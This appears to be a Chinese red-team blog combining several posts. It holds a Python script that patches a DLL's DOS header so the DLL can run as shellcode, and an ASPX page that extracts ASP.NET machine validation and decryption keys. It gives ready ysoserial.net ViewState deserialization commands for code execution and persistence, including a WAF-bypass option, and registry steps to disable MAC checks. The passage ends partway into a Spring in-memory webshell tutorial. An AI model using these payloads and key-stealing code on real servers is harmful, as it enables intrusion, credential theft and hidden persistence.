48 89 e5                ;mov rbp, rsp
ff d3                   ;call rbx

Python 代码修改PE 文件开头几字节（比较简单，用的idiotc4t 代码）

import sys
import pefile
from struct import pack
    
def help():
    print("usage: python3 <DllPath> <FuncName>\n")
    
def get_func_offset(pe_file,func_name):
    if hasattr(pe_file,'DIRECTORY_ENTRY_EXPORT'):
        for export in pe_file.DIRECTORY_ENTRY_EXPORT.symbols:
            if func_name in str(export.name):
                func_rva = export.address
                break
    
    if func_rva == 0:
        help()
        print("[-] not found function offset in file")
        sys.exit(0)
    
    offset_va = func_rva - pe_file.get_section_by_rva(func_rva).VirtualAddress
    func_file_offset = offset_va + pe_file.get_section_by_rva(func_rva).PointerToRawData
    func_file_offset -= 9 
    
    return bytes(pack("<I",func_file_offset))
    
def get_patch_stub(pe_file,func_offset):
    
    if pe_file.FILE_HEADER.Machine == 0x014c:
        is64 = False
    elif pe_file.FILE_HEADER.Machine ==0x0200 or pe_file.FILE_HEADER.Machine ==0x8664:
        is64 =True
    else:
        print("[-]unknow the format of this pe file")
        sys.exit()
    
    if is64:
                stub =(
                b"\x4D\x5A"
                b"\x41\x52"
                b"\xe8\x00\x00\x00\x00"
                b"\x5b"
                b"\x48\x81\xC3" + func_offset +
                b"\x55"
                b"\x48\x89\xE5"
                b"\xFF\xD3"
                );
    
    else:
                stub = (
                b"\x4D"
                b"\x5A"
                b"\x45"
                b"\x52"
                b"\xE8\x00\x00\x00\x00"
                b"\x5A"
                b"\x81\xC2" + func_offset +
                b"\x55"
                b"\x8B\xEC"
                b"\xFF\xD2"
                );
    return stub;
    
def patch_dll(pe_path,func_name):
    try:
        pe_file =pefile.PE(pe_path)
    except e:
        print(str(e))
        help()
        sys.exit()
    
    
    func_offset = get_func_offset(pe_file,func_name)
    patch_stub = get_patch_stub(pe_file,func_offset)
    
    
    filearray = open(pe_path,'rb').read()
    print("[+] loaded nameof %s"% (pe_path))
    
    patch_dll_file = patch_stub + filearray[len(patch_stub):]
    print("[+] patched offset %s" % (func_offset.hex()))
    
    patch_dll_name = "patch-" +pe_path
    open(patch_dll_name,'wb').write(patch_dll_file)
    print("[+] wrote nameof %s"% (patch_dll_name))
    
if __name__ == '__main__':
    a = len(sys.argv)
    if len(sys.argv) != 3:
        help()
        sys.exit(0);
    pe_path = sys.argv[1]
    func_name =  sys.argv[2]
    patch_dll(pe_path,func_name)

至于指令后面DOS的特征，可以都置0或杂乱的值（就像CS 处理的一样）。

ReflectiveLoader 分析

参考一下经典项目：https://github.com/rapid7/ReflectiveDLLInjection ，只需要看其中Reflective Dll 项目即可。分析ReflectiveLoader 导出函数之前需要先了解PE 结构以及IAT 表、基址重定位表是如何工作的。项目中注释有很多，看着注释能明白每步操作含义，下面总结一下重要的几个步骤（篇幅影响就不截图了）。

首先需要获取当前DLL 加载到内存中的首地址。通过_ReturnAddress() 获取到下一条指令的地址，接着向前循环查找，直到找到MZ标志，然后获取PE 头地址。（这也是为什么保留了MZ的原因，用于定位DLL的首地址）
从当前进程的PEB中获取当前进程kernel32.dll中LoadLibraryA、GetProcAddress、VirtualAlloc、VirtualLock函数地址以及ntdll.dll中的NtFlushInstructionCache 函数地址。通过比对这几个函数Hash来确定函数，从而获取函数地址。
分配一块新内存空间，将当前DLL 在内存中展开。将PE 头、各区块复制到新分配的内存。之所以复制到新内存空间是为了按照各节区的RVA 以及大小在内存中对齐。
接着重要的来了，处理当前DLL 的导入表。首先使用loadlibraryA函数根据导入表加载DLL，然后修复IAT 表中的导入函数地址。如果通过序号导入则手动解析导出函数地址，否则使用 GetProcAddress()函数得到地址。
然后修复基址重定位表，修改硬编码的地址。修复过基址之后要调用 NtFlushInstructionCache函数刷新指令缓存。
接着从PE 头中获取DLLMain地址并调用。

这最后四步其实就是做的PE加载器的活。写好ReflectiveLoader 导出函数并编译DLL，修改此DLL DOS 头后，就可以直接当作shellcode 来用了。

上面的技术要求DLL 必须实现导出函数，其实可以把ReflectiveLoader 直接写在PE 一个空白区块中，确定地址后再进行调用。例如 https://github.com/hasherezade/pe_to_shellcode 就是这样实现的，由此可以把PE 文件直接当作ShellCode 执行且还能让PE 文件依旧有效。

参考

利用.NET 反序列化做权限维持

myzx.xcg@gmail.com (myzxcg) — Sun, 21 Nov 2021 16:14:05 +0800

ViewState 基本概念

HTTP模型是无状态的，这意味着每当客户端向服务端发起一个获取页面的请求时，都会导致服务端创建一个新的page类的实例，并且一个往返之后，这个page实例会被立刻销毁。如果想获取上一次请求的page实例的值，就可以利用VewState。

ASP.NET Web 应用程序使用ViewState来维护页面状态，并在Web表单中保留数据（当设置了ViewState runat = "server" 后，会有一个隐藏字段_ViewState）。一个页面被返回给客户端时，页面及其控件属性的变化将被确定，并存储在一个名为 _VIEWSTATE 的隐藏输入字段的值中。当页面再次向服务端发送请求时，_VIEWSTATE 字段将与HTTP请求一起发送到服务器。服务端对ViewState进行反序列化，获得属性，并赋给控件对应的值。

反序列化与参数介绍

序列化

ASP.NET 有各种序列化和反序列化库称为 formatter ，它序列化对象到字节流。如 ObjectStateFormatter、LOSFormatter、BinaryFormatter等。ASP.NET 使用LosFormatter序列化 ViewState，并将其作为隐藏的表单字段发送到客户端。一旦序列化ViewState 在 POST 请求期间被发送回服务器，它将使用 ObjectStateFormatter 进行反序列化。
相关参数

在web.config 可以使用以下的参数来开启或关闭ViewState的一些功能，例如：

<pages enableViewState="false" enableViewStateMac="false" viewStateEncryptionMode="Always" />
- 配置ViewStateEncryptionMode="Always"来启用ViewState的加密（仅影响ViewState的生成，不影响它的解密），保证ViewState不会发生信息泄露。（Always表示始终加密，Auto为默认值，表示调用RegisterRequiresViewStateEncryption() 方法请求才进行加密，Never表示永远不会对其进行加密）
- 配置enableViewStateMac="true" 在ViewState 中启用 MAC（消息身份验证代码，保证 ViewState 不受篡改，在反序列化期间对 ViewState 的值进行完整性检查）。
- 配置 enableViewState 用于设置是否开启viewState，但即使设置为false，ASP.NET服务器也始终被动解析 ViewState。
Tips: 从.NET 4.5.2 开始，强制启用ViewStateMac功能，即使将 EnableViewStateMac设置为false，也不能禁止ViewState的校验。

获取 MachineKey

如果主动在Web.config 配置，则读取Web.config即可。

 <!--目前在最新版本的.NET Framework中，默认的验证算法是HMACSHA256，默认的解密算法是AES。-->
 <?xml version="1.0" encoding="UTF-8"?>
 <configuration>
 <system.web>
 <customErrors mode="Off" />
 <machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" />
 </system.web>
 </configuration>

通过注册表或反射从System.Web中获取。

参考：https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab

<%@ Page Language="C#" %>
<%
// Read https://soroush.secproject.com/blog/2019/05/danger-of-stealing-auto-generated-net-machine-keys/
Response.Write("<br/><hr/>");
byte[] autoGenKeyV4 = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\", "AutoGenKeyV4", new byte[]{});
if(autoGenKeyV4!=null)
	Response.Write("HKCU\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\AutoGenKeyV4: "+BitConverter.ToString(autoGenKeyV4).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] autoGenKey = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\2.0.50727.0\\", "AutoGenKey", new byte[]{});
if(autoGenKey!=null)
	Response.Write("HKCU\\Software\\Microsoft\\ASP.NET\\2.0.50727.0\\AutoGenKey: "+BitConverter.ToString(autoGenKey).Replace("-", string.Empty));
Response.Write("<br/><hr/>");
var systemWebAsm = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var machineKeySectionType = systemWebAsm.GetType("System.Web.Configuration.MachineKeySection");
var getApplicationConfigMethod = machineKeySectionType.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var config = (System.Web.Configuration.MachineKeySection)getApplicationConfigMethod.Invoke(null, new object[0]);
Response.Write("<b>ValidationKey:</b> "+config.ValidationKey);
Response.Write("<br/>");
Response.Write("<b>DecryptionKey:</b> "+ config.DecryptionKey);
Response.Write("<br/><hr/>");
var typeMachineKeyMasterKeyProvider = systemWebAsm.GetType("System.Web.Security.Cryptography.MachineKeyMasterKeyProvider");
var instance = typeMachineKeyMasterKeyProvider.Assembly.CreateInstance(
	typeMachineKeyMasterKeyProvider.FullName, false,
	System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic,
	null, new object[] { config, null, null, null, null }, null, null);
var validationKey = typeMachineKeyMasterKeyProvider.GetMethod("GetValidationKey").Invoke(instance, new object[0]);
byte[] _validationKey = (byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(validationKey, new object[0]);
var encryptionKey = typeMachineKeyMasterKeyProvider.GetMethod("GetEncryptionKey").Invoke(instance, new object[0]);
byte[] _decryptionKey = (byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(encryptionKey, new object[0]);
Response.Write("<br/><b>ASP.NET 4.5 and above:</b><br/>");
Response.Write("<br/>");
Response.Write("<b>validationAlg:</b> "+config.Validation);
Response.Write("<br/>");
Response.Write("<b>validationKey:</b> "+BitConverter.ToString(_validationKey).Replace("-", string.Empty));
Response.Write("<br/>");
Response.Write("<b>decryptionAlg:</b> "+config.Decryption);
Response.Write("<br/>");
Response.Write("<b>decryptionKey:</b> "+BitConverter.ToString(_decryptionKey).Replace("-", string.Empty));
Response.Write("<br/><hr/>");
Response.Write("<br/><b>ASP.NET 4.0 and below:</b><br/>");
byte[] autogenKeys = (byte[])typeof(HttpRuntime).GetField("s_autogenKeys", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static).GetValue(null);
int validationKeySize = 64;
int decryptionKeySize = 24;
byte[] validationKeyAuto = new byte[validationKeySize];
byte[] decryptionKeyAuto = new byte[decryptionKeySize];
System.Buffer.BlockCopy(autogenKeys, 0, validationKeyAuto, 0, validationKeySize);
System.Buffer.BlockCopy(autogenKeys, validationKeySize, decryptionKeyAuto, 0, decryptionKeySize);
string appName = HttpRuntime.AppDomainAppVirtualPath;
string appId = HttpRuntime.AppDomainAppId;
Response.Write("<br/>");
Response.Write("<b>appName:</b> "+appName);
Response.Write("<br/>");
Response.Write("<b>appId:</b> "+appId);
Response.Write("<br/>");
Response.Write("<b>initial validationKey (not useful for direct use):</b> ");
Response.Write(BitConverter.ToString(validationKeyAuto).Replace("-", string.Empty));
Response.Write("<br/>");
Response.Write("<b>initial decryptionKey (not useful for direct use):</b> ");
Response.Write(BitConverter.ToString(decryptionKeyAuto).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] _validationKeyAutoAppSpecific = validationKeyAuto.ToArray();
int dwCode3 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appName);
_validationKeyAutoAppSpecific[0] = (byte)(dwCode3 & 0xff);
_validationKeyAutoAppSpecific[1] = (byte)((dwCode3 & 0xff00) >> 8);
_validationKeyAutoAppSpecific[2] = (byte)((dwCode3 & 0xff0000) >> 16);
_validationKeyAutoAppSpecific[3] = (byte)((dwCode3 & 0xff000000) >> 24);
Response.Write("<b>App specific ValidationKey (when uses IsolateApps):</b> ");
Response.Write(BitConverter.ToString(_validationKeyAutoAppSpecific).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] _validationKeyAutoAppIdSpecific = validationKeyAuto.ToArray();
int dwCode4 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appId);
_validationKeyAutoAppIdSpecific[4] = (byte)(dwCode4 & 0xff);
_validationKeyAutoAppIdSpecific[5] = (byte)((dwCode4 & 0xff00) >> 8);
_validationKeyAutoAppIdSpecific[6] = (byte)((dwCode4 & 0xff0000) >> 16);
_validationKeyAutoAppIdSpecific[7] = (byte)((dwCode4 & 0xff000000) >> 24);
Response.Write("<b>AppId Auto specific ValidationKey (when uses IsolateByAppId):</b> ");
Response.Write(BitConverter.ToString(_validationKeyAutoAppIdSpecific).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] _decryptionKeyAutoAutoAppSpecific = decryptionKeyAuto.ToArray();
//int dwCode3 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appName);
_decryptionKeyAutoAutoAppSpecific[0] = (byte)(dwCode3 & 0xff);
_decryptionKeyAutoAutoAppSpecific[1] = (byte)((dwCode3 & 0xff00) >> 8);
_decryptionKeyAutoAutoAppSpecific[2] = (byte)((dwCode3 & 0xff0000) >> 16);
_decryptionKeyAutoAutoAppSpecific[3] = (byte)((dwCode3 & 0xff000000) >> 24);
Response.Write("<b>App specific DecryptionKey (when uses IsolateApps):</b> ");
Response.Write(BitConverter.ToString(_decryptionKeyAutoAutoAppSpecific).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] _decryptionKeyAutoAutoAppIdSpecific = decryptionKeyAuto.ToArray();
//int dwCode4 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appId);
_decryptionKeyAutoAutoAppIdSpecific[4] = (byte)(dwCode4 & 0xff);
_decryptionKeyAutoAutoAppIdSpecific[5] = (byte)((dwCode4 & 0xff00) >> 8);
_decryptionKeyAutoAutoAppIdSpecific[6] = (byte)((dwCode4 & 0xff0000) >> 16);
_decryptionKeyAutoAutoAppIdSpecific[7] = (byte)((dwCode4 & 0xff000000) >> 24);
Response.Write("<b>AppId Auto specific DecryptionKey (when uses IsolateByAppId):</b> ");
Response.Write(BitConverter.ToString(_decryptionKeyAutoAutoAppIdSpecific).Replace("-", string.Empty));
Response.Write("<br/>");
%>

Payload 利用

生成ViewState需要禁用MAC验证或在（ASP.NET 4.0及以前版本知道验证密钥及其算法，ASP.NET 4.5及以后知道验证密钥、验证算法、解密密钥和解密算法）。

Tips: 即使目标从HTTP请求中删除了ViewState，也不影响利用，添加ViewState参数依旧会解析。

ysoserial.net

ASP.NET 4.0及以下（不需要指定decryptionKey及其算法）

执行命令

#知道generator就用--generator指定，就不用--apppath和--path参数了
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > C:\windows\temp\ss.txt" --validationalg="HMACSHA256" --validationkey="B298BA4E89C9631254E60F7C6E60B3287554B5175906E3CF8C446D9D5EAB496CEA7C76460CBC3095A7ABFC9C71BBE7CA5276CD412BE2F5F142C0F7624062734E" --apppath="/" --path="/test.aspx" --islegacy --isdebug
#--isencrypted参数可以加密__VIEWSTATE参数以绕过WAF
#使用加密需要指定decryptionkey，并且在post请求中添加：__VIEWSTATEENCRYPTED=true参数
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > C:\windows\temp\ss.txt" --validationalg="SHA1" --validationkey="B298BA4EFAF9568A702CECFE5C138BA1939E726D2DDE65EFBF940AA2A51BB580F6A4FAFB75B152F849C38B6417E9D2193737DA22D7AF63E210BF0FC37569CB53" --decryptionalg="AES" --decryptionkey="B298BA4EB3474EAE783D6A3295021698ECB183CDC9D407F1" --apppath="/" --path="/test.aspx" --islegacy --isdebug --isencrypted

ASP.NET 4.5及以上

执行命令

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > C:\windows\temp\ss.txt" --path="/test.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="3CEA67326F7D94ED9420C9686CEC65320EEA136215EE2A15" --validationalg="HMACSHA256" --validationkey="80A244313D442AFC027753337BC66F106E617EB5D56B540CEAF9595272002C4B"

禁用MAC验证的情况下利用

判断是否被禁用: 发送 __VIEWSTATE=AAAA 如果被没被禁用是会有MAC的报错的，但具体视实际情况而定。

ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "echo 123 > C:\inetpub\wwwroot\ss2.txt"

禁用MAC的方法：
- 在未打补丁的机器，直接web.config配置
  1 2 3 4 5 6 7
  
  <?xml version="1.0" encoding="UTF-8"?> <configuration> <system.web> <customErrors mode="Off" /> <pages enableViewStateMac="false" /> </system.web> </configuration>
- 打了补丁的机器，可以通过注册表禁用
  
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
  
  添加AspNetEnforceViewStateMac的值为0（重启生效）

在有ViewStateUserKey的情况下：

ViewStateUserKey 属性可用于抵御 CSRF 攻击。如果目标配置了ViewStateUserKey，那么需要将--viewstateuserkey参数传递给ysoserial 生成Payload，不然是不会执行payload的。

反序列化执行代码

如果要用ActivitySurrogateSelectorFromFile链执行代码，且目标在ASP.NET 4.8以上，需要先DisableTypeCheck。不然直接用这条链打的话，会报state到Pair的转换错误。

ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c "aaa" --validationalg="HMACSHA256" --validationkey="B298BA4E89C9631254E60F7C6E60B3287554B5175906E3CF8C446D9D5EAB496CEA7C76460CBC3095A7ABFC9C71BBE7CA5276CD412BE2F5F142C0F7624062734E" --generator="5F3023B1" --decryptionalg="AES" --decryptionkey="B298BA4EB3474EAE783D6A3295021698ECB183CDC9D407F1" --islegacy --isdebug --isencrypted

然后再利用ActivitySurrogateSelectorFromFile链执行代码。在code.cs中，写一个类（把需要执行的代码写在构造函数或者静态代码块中）反序列化时会实例化该类。

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "code.cs;System.Web.dll;System.dll;" --validationalg="HMACSHA256" --validationkey="B298BA4E89C9631254E60F7C6E60B3287554B5175906E3CF8C446D9D5EAB496CEA7C76460CBC3095A7ABFC9C71BBE7CA5276CD412BE2F5F142C0F7624062734E" --generator="5F3023B1" --decryptionalg="AES" --decryptionkey="B298BA4EB3474EAE783D6A3295021698ECB183CDC9D407F1" --islegacy --isdebug --isencrypted

测试代码

Tips: 测试的时候切换到ASP.NET 4.5，在Web.config 中配置<httpRuntime targetFramework="4.5" />

test.aspx

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
        <asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
        <asp:Button ID="Button1" runat="server" OnClick="Button1_Click"
                 Text="GO" class="btn"/>
  <br />
        <asp:Label ID="Label1" runat="server"></asp:Label>
    </form>
</body>
</html>

hello.aspx.cs

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class hello : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
    {
        }
    protected override void OnInit(EventArgs e)
    {
        base.OnInit(e);
        }
    protected void Button1_Click(object sender, EventArgs e)
    {
        Label1.Text = TextArea1.Text.ToString();
    }
}

参考

Spring 内存马实现

myzx.xcg@gmail.com (myzxcg) — Sat, 13 Nov 2021 20:59:58 +0800

Spring框架是一个开放源代码的J2EE应用程序框架，是针对bean的生命周期进行管理的轻量级容器。Spring可以单独应用于构筑应用程序，也可以和Struts、Webwork、Tapestry等众多Web框架组合使用，并且可以与 Swing等桌面应用程序AP组合。

Spring 介绍

Spring 框架主要由七部分组成，分别是Spring Core、Spring AOP、Spring ORM、Spring DAO、Spring Context、Spring Web 、Spring Web MVC。

Spring全家桶包括5个关键部分: Spring framework、Spring MVC、Spring Boot、Spring Cloud、Spring Security。其中spring framework 就是常提到的spring，这是所有spring内容最基本的底层架构，其包含spring mvc、springboot、spring core、IOC和AOP等等。Spring mvc就是spring中的一个MVC框架，主要用来开发web应用和网络接口，但是其使用之前需要配置大量的xml文件，比较繁琐，所以出现springboot，其内置tomcat并且内置默认的XML配置信息，从而方便了用户的使用。Spring Cloud基于Spring Boot，简化了分布式系统的开发。Spring Security用于做鉴权，保证安全性。

IoC容器

如果一个系统有大量的组件（类），其生命周期和相互之间的依赖关系如果由组件自身来维护，不但大大增加了系统的复杂度，而且会导致组件之间极为紧密的耦合，继而给测试和维护带来了极大的困难。解决这一问题的核心方案就是IoC（又称为依赖注入）。由IoC负责创建组件、根据依赖关系组装组件、按依赖顺序正确销毁组件。

IoC容器要负责实例化所有的组件，因此有必要告诉容器如何创建组件，以及各组件的依赖关系。一种最简单的配置是通过XML文件来实现。

<beans>
    <bean id="dataSource" class="HikariDataSource" />
    <bean id="bookService" class="BookService">
        <property name="dataSource" ref="dataSource" />
    </bean>
    <bean id="userService" class="UserService">
        <property name="dataSource" ref="dataSource" />
    </bean>
</beans>
<!--
bean标签 默认情况下它调用的是类中的无参构造函数。如果没有无参构造函数则不能创建成功。
属性id：给对象在容器中提供一个唯一标识。用于获取对象。
class： 指定类的全限定类名。用于反射创建对象。默认情况下调用无参构造函数。
property标签：通过Set注入（比如这里就是通过调用SetdataSource() 方法来给BookService和UserService对象的dataSource字段赋值）
-->

上述XML配置文件指示IoC容器创建3个JavaBean组件（类），并把id为dataSource的组件通过属性dataSource（即调用setDataSource()方法）注入到另外两个组件中。

//例如：获取BookService的实例对象
//创建一个Spring的IoC容器实例，然后加载配置文件。让Spring容器创建并装配好配置文件中指定的所有Bean。
ApplicationContext cl = new ClassPathXmlApplicationContext("bean.xml");
//获取BookService对象（对象由IOC容器实例化）
bookService bs = (bookService)cl.getBean("bookService");  
bs.select();//调用对象方法

这里的bean是由Spring IoC容器负责实例化、配置、组装和管理的对象。

注解自动装载bean

使用注解自动装载bean（对象）的话，需要在xml中加上context:annotation-config标签，并且需要导入约束。

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="<http://www.springframework.org/schema/beans>"
       xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>"
       xmlns:context="<http://www.springframework.org/schema/context>"
       xsi:schemaLocation="<http://www.springframework.org/schema/beans>
       <http://www.springframework.org/schema/beans/spring-beans.xsd>
       <http://www.springframework.org/schema/context>
       <https://www.springframework.org/schema/context/spring-context.xsd>">
    <context:annotation-config/>
    <bean id="cat" class="com.test.doamin.Cat"/>
    <bean id="dog" class="com.test.doamin.Dong"/>
    <bean id="person" class="com.test.doamin.Perpon">
        <property name="name" value="xiaoming"/>
    </bean>
</beans>

//再到成员变量处加入@Autowired注解声明
private String name;
@Autowired
private Dong dog;
@Autowired
private Cat cat;

context:annotation-config用于激活那些已经在spring容器里注册过的bean上面的注解。(激活@Resource和@Autowired注解)

<context:component-scan>元素除了完成与<context:annotation-config>一样的工作，还允许Spring自动检测Bean和定义的Bean，这意味着不使用配置元素。base-package属性标识了会所扫描的包。

<!--开启注解扫描-->
<context:component-scan base-package="com.example">
<!--配置不扫描Controller注解-->
<context:exclude-filter type="annotation" expression="org.springframework.stereotype.Controller"/>
</context:component-scan>

为自动检测标注Bean。默认情况下<context:component-scan>查找使用构造型注解所标注的类，这些特殊的注解如下：

@Component  通用的构造型注解，标识该类为Spring组件（）
@Controller  标识将该类定义为Spring MVC controller（控制层）
@Repository  标识将该类定义为数据仓库（持久层）
@Service 标识将该类定义为服务（服务层，也就是业务层

ApplicationContext

Spring容器就是ApplicationContext，它是一个接口，有很多实现类。获得了ApplicationContext的实例，就获得了IoC容器的引用。从ApplicationContext中可以根据Bean的ID获取Bean。

Spring还提供另一种IoC容器叫BeanFactory，使用方式和ApplicationContext类似

1
2

BeanFactory factory = new XmlBeanFactory(new ClassPathResource("application.xml"));
MailService mailService = factory.getBean(MailService.class);

BeanFactory和ApplicationContext的区别在于: BeanFactory的实现是按需创建，即第一次获取Bean时才创建这个Bean，而ApplicationContext会一次性创建所有的Bean。实际上ApplicationContext接口是从BeanFactory接口继承而来的。BeanFactory 接口是Spring IoC容器的实际代表者。

ContextLoaderListener与DispatcherServlet

一个典型Spring 应用的web.xml 配置示例

<web-app xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>"
         xmlns="<http://java.sun.com/xml/ns/javaee>"
         xsi:schemaLocation="<http://java.sun.com/xml/ns/javaee> <http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd>"
         version="2.5">

    <display-name>HelloSpringMVC</display-name>
    <listener>
        <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
    </listener>
    <context-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>/WEB-INF/applicationContext.xml</param-value>
    </context-param>

    <servlet>
        <servlet-name>dispatcherServlet</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <init-param>
            <param-name>contextConfigLocation</param-name>
            <param-value>/WEB-INF/dispatcherServlet-servlet.xml</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

    <servlet-mapping>
        <servlet-name>dispatcherServlet</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>
</web-app>

Spring 应用中可以同时有多个 Context，其中只有一个 Root Context，其余都是Child Context。
所有Child Context都可以访问在Root Context中定义的bean，但是Root Context无法访问Child Context中定义的 bean。
所有的Context在创建后，会作为一个属性被添加到了ServletContext中。

ContextLoaderListener 主要被用来初始化全局唯一的Root Context，即Root WebApplicationContext。这个Root WebApplicationContext会和其他Child Context实例共享它的IoC容器，供其他Child Context获取并使用容器中的bean。

DispatcherServlet 从本质上来讲是一个 Servlet（它继承自HttpServlet）。它的主要作用是处理传入的web请求，根据配置的URL pattern，将请求分发给正确的Controller和View。DispatcherServlet初始化完成后，会创建一个普通的Child Context实例。

综上： 每个具体的DispatcherServlet创建的是一个Child Context，代表一个独立的IoC容器；而 ContextLoaderListener所创建的是一个Root Context，代表全局唯一的一个公共 IoC 容器。

如果要访问和操作bean，一般要获得当前代码执行环境的IoC 容器（Child Context）代表者ApplicationContext。

获得当前代码运行时上下文环境

getCurrentWebApplicationContext

这里获得的是一个XmlWebApplicationContext实例类型的Root WebApplicationContext。

WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

WebApplicationContextUtils 此方法获得的也是一个Root WebApplicationContext 。

WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

该方法的原型是: public static WebApplicationContext getWebApplicationContext(ServletContext sc) 所以里面的代码是用来获得ServletContext对象。

RequestContextUtils 此方法获取的是名为dispatcherServlet-servlet的Child context。
1

WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
函数原型: public static WebApplicationContext getWebApplicationContext(ServletRequest request) （spring 3.1 中findWebApplicationContext要换成getWebApplicationContext ）

RequestContextHolder.currentRequestAttributes() 用来获取ServletContext

可见所有的Context在创建后，都会被作为一个属性添加到了ServletContext里的request对象 attributes属性中。

其中org.springframework.web.servlet.DispatcherServlet.CONTEXT 和 org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE 属性名中都存放着一个名叫 dispatcherServlet-servlet 的Child WebApplicationContext 。
getAttribute

此方法获取的是名为dispatcherServlet-servlet的Child context。
1

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
其实完全可以将存放在ServletContext属性中的Context取出来直接使用。上面代码中的currentRequestAttributes()替换成getRequestAttributes()也同样有效；getAttribute参数中的0代表从当前request中获取而不是从当前的session中获取属性值。

从LiveBeansView属性中获取

//反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
//属性被 private 修饰，所以setAccessible true
filed.setAccessible(true);
//获取一个 ApplicationContext 实例
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();

因为 org.springframework.context.support.LiveBeansView 类在 spring-context 3.2.x 版本（现在最新版本是 5.3.x）才加入其中，所以比较低版本的 spring 无法通过此方法获得 ApplicationContext 的实例。

推荐使用后面三种方法获得Child WebApplicationContext

在很多应用配置中注册Controller的component-scan组件都配置在类似的dispatcherServlet-servlet.xml中，而不是全局配置文件applicationContext.xml中。这样就导致RequestMappingHandlerMapping的实例bean只存在于Child WebApplicationContext环境中。由于Root Context无法访问Child Context中定义的bean，所以可能会导致1、2方法获取到的Root WebApplicationContext无法获得RequestMappingHandlerMapping的实例bean。

另外在有些Spring 应用逻辑比较简单的情况下，可能没有配置ContextLoaderListener 、也没有类似 applicationContext.xml的全局配置文件，只有简单的servlet配置文件。这时候通过前两种方法是获取不到Root WebApplicationContext（在springboot中也获取不到）。

Controller内存马

一个正常的Controller示例代码

@Controller
public class HelloController {
    @RequestMapping(value = "/hello", method = RequestMethod.GET)
    public String hello(@RequestParam(value="name", required=false, defaultValue="World") String name, Model model) {
        model.addAttribute("name", name);
        return "hello";
    }
}

Spring 2.5 - Spring 3.1之间使用 org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping映射器。
Spring 3.1 开始及以后使用org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping映射器来支持@Contoller和@RequestMapping注解。

当然，也有高版本依旧使用旧映射器的情况。因此正常程序的上下文中一般存在其中一种映射器的实例 bean。又因版本不同和较多的接口等原因，手工注册动态 controller 的方法不止一种。

如下图：Spring 3.2.5中处理 URL 映射相关的类都实现了HandlerMapping 接口。

注册Controller

registerMapping

在Spring 4.0及以后，可以使用registerMapping直接注册requestMapping ，这是最直接的一种方式。

package com.example.spring;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
